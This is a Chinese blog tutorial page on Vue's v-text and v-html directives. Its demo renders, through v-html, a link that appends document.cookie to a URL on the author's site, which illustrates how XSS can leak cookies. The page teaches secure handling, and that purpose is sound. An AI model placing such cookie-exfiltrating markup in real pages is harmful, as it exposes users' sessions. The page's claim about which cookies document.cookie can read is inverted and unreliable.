vue:v-text及v-html指令及cookie安全问题
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>p40-41:v-text及v-html指令及安全问题</title>
<script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<div id="demo">
<p>这种更灵活：{{str}}</p>
<p v-text="str">这种会全部替换掉，不灵活</p>
<div v-html="str">
这种不安全，但可以解析html,除非这个数据可信，否则可能会被xss攻击<br/>
document.cookie只能读到浏览器保存的cookie中http-only为true的cookie<br/>
所以后端为了安全起见设置cookie的时候要将http-only设置为true<br/>
如php中setcookie(.....第7个参数设置为true)
</div>
</div>
<script type="text/javascript">
//创建vue实例
const vm = new Vue({
el: "#demo",
data: {
str:'<a href="http://www.hu-rong.com?cookie="'+document.cookie+' target="_blank">个人主页</a>'
},
methods: {
},
computed: {},
watch: {},
filters:{
}
})
</script>
</body>
</html>赞:(0)
踩:(0)
- 相关文章
- 初识vue
- 数据绑定：第一个vue例子
- vue模板语法
- vue数据绑定
- el与data的两种写法/延迟挂载
- vue数据代理-Object.definePropert
- vue事件及事件修饰符prevent/stop/
- vue计算属性computed
- vue(深度)监视属性watch
- vue绑定样式:class,:style
- 热门文章
- win7中将文件拷贝到虚拟机linux下
- phpexcel设置行高及列宽,背景颜色,
- rabbitmq无法启动
- intellij idea不显示git push按钮
- php7中使用mongodb的aggregate进行
- laravel页面静态化的方法
- centos7.4 64位下swoole安装及配置
- navicate连接mycat报1184错误
- curl设置超时不起作用(CURLOPT_TIM
- devops-jenkins容器为pending状态
- 好评文章
- phpexcel设置行高及列宽,背景颜色,
- php7中使用mongodb的aggregate进行
- intellij idea打开文件所在文件夹
- windows下使用MongoDB Compass Com
- win7中将文件拷贝到虚拟机linux下
- laravel 中悲观锁 & 乐观锁的使用
- 单点登录sso原理及php实现方式及de
- navicate连接mycat报1184错误
- rabbitmq无法启动
- laravel整合dingo/api方法步骤:jwt
- 我的项目
- 【github】www.github.com/hurong241
- 【码云】gitee.com/hu_rong/projects
- 【docker hub】hub.docker.com/repositories/hurong241
- 【packagist】packagist.org/users/hurong241/packages
- 站点信息
- 建站时间：2011年
- 文章数：623篇
- 浏览数：1306209
